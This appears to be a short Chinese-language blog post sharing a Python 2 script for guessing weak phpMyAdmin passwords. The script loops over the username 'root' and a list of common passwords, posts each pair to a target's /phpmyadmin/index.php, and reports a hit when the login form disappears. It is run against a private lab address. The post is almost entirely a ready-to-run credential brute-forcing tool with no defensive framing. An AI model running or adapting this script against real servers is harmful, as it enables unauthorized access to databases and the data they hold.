PHPMyAdmin弱口令猜解【Python脚本】

PHPMyAdmin弱口令猜解

测试截图：

代码片段

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import time
 
username_list=['root']
password_list=['root','','admin','123456','password']
 
def phpMyAdmin(ip,port=80):
    for username in username_list:
        username =username.rstrip()
        for password in password_list:
            password = password.rstrip()
            try:
                #url = "http://192.168.106.141/phpmyadmin/index.php"
                url = "http://"+ip+":"+str(port)+"/phpmyadmin/index.php"
 
                data={'pma_username':username,'pma_password':password}
                response = requests.post(url,data=data,timeout=5)
                result=response.content
                if result.find('name="login_form"')==-1:
                    print '===================================================='
                    print '[+] find phpMyAdmin weak password：'+username,password
                    print '===================================================='
                    break
                else:
                    print '[-] Checking for '+username,password+" fail"
            except:
                print '[-] Something Error'+username,password+" fail"
                 
if __name__ == '__main__':
    phpMyAdmin("192.168.106.141")